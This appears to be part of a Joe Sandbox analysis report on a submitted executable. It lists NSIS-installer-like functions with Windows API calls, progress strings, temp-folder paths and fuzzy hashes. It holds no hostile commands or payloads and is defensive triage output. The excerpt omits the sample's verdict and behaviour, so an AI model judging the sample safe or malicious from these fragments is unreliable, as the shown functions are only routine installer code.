Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 0040667C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,?,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,?,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,?,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,?,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE
C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4010320282
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(0001E32B,?,0001E2CB), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

unpacking data: %d%%, xrefs: 00402E33, 00402E43
verifying installer: %d%%, xrefs: 00402E3A

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 6CF12569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6CF1121B: GlobalAlloc.KERNEL32(?,?,6CF1123B,?,6CF112DF,00000019,6CF111BE,-000000A0), ref: 6CF11225

GlobalFree.KERNEL32(?), ref: 6CF12657
GlobalFree.KERNEL32(00000000), ref: 6CF1268C

Memory Dump Source

Source File: 00000000.00000002.2464950937.000000006CF11000.00000020.00000001.01000000.00000004.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.2464871451.000000006CF10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2464976083.000000006CF14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2465039264.000000006CF16000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_c7WJL1gt32.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 712d9ce93889d1b9ab31c368d030df4e04c79859e2046e01467b906077a8faf8
Instruction ID: 16f43b732f30ca1442b8ef2d1c11c9c48656b679ee1db279ae8342b0d3074b43
Opcode Fuzzy Hash: 712d9ce93889d1b9ab31c368d030df4e04c79859e2046e01467b906077a8faf8
Instruction Fuzzy Hash: 9831DC32B1C142EFCB148FD5C8E9E2A7BB6FB973083154529F54183EA1CB329819CB21

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nse90B2.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nse90B2.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nse90B2.tmp, xrefs: 004025E1
C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nse90B2.tmp$C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll
API String ID: 3109718747-405848883
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 6CF118D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6CF1193A
GlobalFree.KERNEL32(?), ref: 6CF11ADA
GlobalFree.KERNEL32(?), ref: 6CF11ADF

Memory Dump Source

Source File: 00000000.00000002.2464950937.000000006CF11000.00000020.00000001.01000000.00000004.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.2464871451.000000006CF10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2464976083.000000006CF14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2465039264.000000006CF16000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_c7WJL1gt32.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 71fd93853b672ccf9ccb415b7e80faac74cd1a8eb05bb8800a0d813a27972080
Instruction ID: a0780087f84ff8566c3eb6d8175130a3ce064a9438b357ce68e2ee6748a29c46
Opcode Fuzzy Hash: 71fd93853b672ccf9ccb415b7e80faac74cd1a8eb05bb8800a0d813a27972080
Instruction Fuzzy Hash: 35511633D0C0599A8B289FA9C4806AEBFF5EF6631CF14C359D410A3E40D771EE8587A5

Function 6CF12394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6CF124D6

Part of subcall function 6CF1122C: lstrcpynW.KERNEL32(00000000,?,6CF112DF,00000019,6CF111BE,-000000A0), ref: 6CF1123C

GlobalAlloc.KERNEL32(?), ref: 6CF1245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6CF12477

Memory Dump Source

Source File: 00000000.00000002.2464950937.000000006CF11000.00000020.00000001.01000000.00000004.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.2464871451.000000006CF10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2464976083.000000006CF14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2465039264.000000006CF16000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_c7WJL1gt32.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 1f7b7e798ab1f1751e9ee6e59c0e3f76b0922a7513d95f7ffbced6e47111ff40
Instruction ID: 0760cd0c541c4d42ad8e7daf5c9887518a90ba4daa7d66e79aa8a930af8d35d0
Opcode Fuzzy Hash: 1f7b7e798ab1f1751e9ee6e59c0e3f76b0922a7513d95f7ffbced6e47111ff40
Instruction Fuzzy Hash: F641EFB150C349DFD714DFA5D848A6777B8EB9B314F20891DE04687E81EB32A449CBA1

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 6CF1161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6CF121EC,?,00000808), ref: 6CF11635
GlobalAlloc.KERNEL32(?,00000000,?,00000000,6CF121EC,?,00000808), ref: 6CF1163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6CF121EC,?,00000808), ref: 6CF11650
GetProcAddress.KERNEL32(6CF121EC,00000000), ref: 6CF11657
GlobalFree.KERNEL32(00000000), ref: 6CF11660

Memory Dump Source

Source File: 00000000.00000002.2464950937.000000006CF11000.00000020.00000001.01000000.00000004.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.2464871451.000000006CF10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2464976083.000000006CF14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2465039264.000000006CF16000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_c7WJL1gt32.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 5f966f6bd3d11f155fdbb1c3099a1951821466176b74bef58f25594fb38b3863
Instruction ID: a77662f407f62c461d1bb4a5626214d8d620cd52be95194a3149079930b948b6
Opcode Fuzzy Hash: 5f966f6bd3d11f155fdbb1c3099a1951821466176b74bef58f25594fb38b3863
Instruction Fuzzy Hash: BAF012726161387FDA2016A78C4DD9B7EACDFCB6F9B120225F6189219085618D01DBF1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,?,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,?,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,?,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

